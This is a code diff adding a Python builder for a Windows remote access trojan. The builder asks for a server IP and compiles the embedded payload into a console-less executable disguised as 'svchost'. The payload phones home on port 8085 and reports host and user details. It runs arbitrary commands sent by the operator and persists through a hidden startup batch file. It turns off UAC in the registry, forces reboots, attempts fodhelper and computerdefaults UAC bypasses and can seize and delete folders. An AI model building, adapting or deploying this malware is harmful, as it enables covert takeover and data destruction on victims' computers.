|
| 1 | +from subprocess import getoutput |
| 2 | +from os import system,environ |
| 3 | +from sys import exit |
| 4 | +def nuitka()->None: |
| 5 | + ip_address=str(input("Server IP:")) |
| 6 | + with open("svchost.py","w") as file: |
| 7 | + file.write(buf%ip_address) |
| 8 | + environ["CCFLAGS"]="-Ofast" |
| 9 | + system("nuitka .\\svchost.py --mode=accelerated --mode=onefile --remove-output --windows-console-mode=disable --include-data-files=.\\run.exe=.\\run.exe") |
| 10 | + exit(0) |
| 11 | +buf=r'''from platform import node,release,machine,processor |
| 12 | +from ctypes import windll |
| 13 | +from pickle import dumps |
| 14 | +from subprocess import getoutput,call |
| 15 | +from sys import exit,argv |
| 16 | +from os import chdir,environ,system as run |
| 17 | +from os.path import basename |
| 18 | +from socket import socket,AF_INET,SOCK_STREAM,gaierror |
| 19 | +from shutil import copyfile |
| 20 | +from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey |
| 21 | +from psutil import process_iter,AccessDenied |
| 22 | +def process_is_double(target:str=argv[0])->bool: |
| 23 | + exists=False |
| 24 | + process = 0 |
| 25 | + if argv[0] == target: |
| 26 | + for i in process_iter(): |
| 27 | + try: |
| 28 | + if i.exe() == target: |
| 29 | + process +=1 |
| 30 | + except AccessDenied:pass |
| 31 | + return (process >1) |
| 32 | + for i in process_iter(): |
| 33 | + try: |
| 34 | + if i.name() == basename(target):exists=True |
| 35 | + if i.exe() == target:process +=1 |
| 36 | + except AccessDenied:pass |
| 37 | + return exists and process >1 |
| 38 | +def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter()) |
| 39 | +def split(target:str,tstr:str)->str: |
| 40 | + new_chars=[] |
| 41 | + for i in tstr.lower().split(): |
| 42 | + if i.lower() !=target.lower():new_chars.extend([i," "]) |
| 43 | + return "".join(new_chars).rsplit(" ")[0] |
| 44 | +def connect()->None: |
| 45 | + global s |
| 46 | + s = socket(AF_INET, SOCK_STREAM) |
| 47 | + s.settimeout(999999) |
| 48 | + try: |
| 49 | + s.connect(addr) |
| 50 | + s.send(dumps({"node":node(),"release":release(),"machine":machine(),"processor":processor(),"admin":windll.shell32.IsUserAnAdmin(),"username":environ.get("username")})) |
| 51 | + except TimeoutError:connect() |
| 52 | + except ConnectionRefusedError:connect() |
| 53 | + except gaierror:connect() |
| 54 | +def CYS()->None: |
| 55 | + copyfile(argv[0],(r"C:\Users\{}\Documents\\"+basename(argv[0])).format(environ.get("username"))) |
| 56 | + with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file: |
| 57 | + file.write("""@Echo off |
| 58 | +start C:\\Users\\{0}\\Documents\\{1} |
| 59 | +exit""".format(environ.get("username"), basename(argv[0]))) |
| 60 | + run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(argv[0])) |
| 61 | + run("attrib +s +h +r \"C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat\"".format(environ.get("username"))) |
| 62 | +def LUA_OFF()->None: |
| 63 | + key = OpenKeyEx(HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\\Policies\\System", 0, KEY_WRITE) |
| 64 | + SetValueEx(key,"EnableLUA",0,REG_DWORD,0) |
| 65 | + CloseKey(key) |
| 66 | + CYS() |
| 67 | + call("shutdown /r /f /t 0") |
| 68 | + exit(0) |
| 69 | +def computerdefaults(target:str=argv[0])->None: |
| 70 | + target = target + ".exe" if target.split(".")[-1] != "exe" else target |
| 71 | + ms_reg = "computerdefaults.exe" |
| 72 | + if argv[0] == target: |
| 73 | + while not process_is_double():call(f"run {target} {ms_reg} computerdefaults.exe") |
| 74 | + return None |
| 75 | + while not process_is_exists(basename(target)):call(f"run {target} {ms_reg} computerdefaults.exe") |
| 76 | +def fodhelper(target:str=argv[0])->None: |
| 77 | + target= target+".exe" if target.split(".")[-1] !="exe" else target |
| 78 | + ms_reg = "fodhelper.exe" |
| 79 | + if argv[0] == target: |
| 80 | + while not process_is_double(): |
| 81 | + call(f"run {target} {ms_reg} fodhelper.exe") |
| 82 | + return None |
| 83 | + while not process_is_exists(basename(target)): |
| 84 | + call(f"run {target} {ms_reg} fodhelper.exe") |
| 85 | + process_is_exists(basename(target)) |
| 86 | +def FDR(target:str)->None: |
| 87 | + run("takeown /D Y /R /F {}".format(target)) |
| 88 | + run("icacls {} /T /C /grant {}:(F,MA)".format(target,environ.get("username"))) |
| 89 | + run("rmdir /S /Q {}".format(target)) |
| 90 | +addr=("%s",8085) |
| 91 | +connect() |
| 92 | +while True: |
| 93 | + try: |
| 94 | + cmd=s.recv(20971520).decode() |
| 95 | + lcmd=cmd.lower() |
| 96 | + if "cd" in cmd and len(cmd) >2: |
| 97 | + chdir(split("cd",cmd)) |
| 98 | + s.send(b"success") |
| 99 | + continue |
| 100 | + if "exit" in cmd:exit(0) |
| 101 | + if "lua" in lcmd: |
| 102 | + s.send("success".encode()) |
| 103 | + LUA_OFF() |
| 104 | + continue |
| 105 | + if "computerdefaults" in lcmd and len(lcmd) <17 : |
| 106 | + computerdefaults() |
| 107 | + s.send("success".encode()) |
| 108 | + continue |
| 109 | + if "computerdefaults" in lcmd: |
| 110 | + computerdefaults(split("computerdefaults",cmd)[-1]) |
| 111 | + s.send("success".encode()) |
| 112 | + continue |
| 113 | + if "fodhelper" in lcmd and len(lcmd) <10 : |
| 114 | + fodhelper() |
| 115 | + s.send("success".encode()) |
| 116 | + continue |
| 117 | + if "fodhelper" in lcmd: |
| 118 | + fodhelper(split("fodhelper",cmd)) |
| 119 | + s.send("success".encode()) |
| 120 | + continue |
| 121 | + if "cys" in lcmd: |
| 122 | + CYS() |
| 123 | + s.send("success".encode()) |
| 124 | + continue |
| 125 | + if "fdr" in lcmd and len(lcmd) >3: |
| 126 | + FDR(split("fdr",cmd)) |
| 127 | + s.send("success".encode()) |
| 128 | + continue |
| 129 | + if "refresh" in lcmd: |
| 130 | + s.send("success".encode()) |
| 131 | + continue |
| 132 | + if "executable" in lcmd: |
| 133 | + s.send(argv[0].encode()) |
| 134 | + continue |
| 135 | + if "cmd /c start" in lcmd: |
| 136 | + call(cmd) |
| 137 | + s.send("success".encode()) |
| 138 | + continue |
| 139 | + process=getoutput(cmd) |
| 140 | + s.send(process.encode() if process else "success".encode()) |
| 141 | + except ConnectionResetError:connect() |
| 142 | + except OSError:connect()''' |
| 143 | +print("Checking For Nuitka") |
| 144 | +nuitka_v=getoutput("nuitka --version").split()[0] |
| 145 | +if len(nuitka_v)<7:nuitka() |
| 146 | +else:print("You Don't Have Installed Nuitka!!\nYou Can Install It Using pip install Nuitka") |
0 commit comments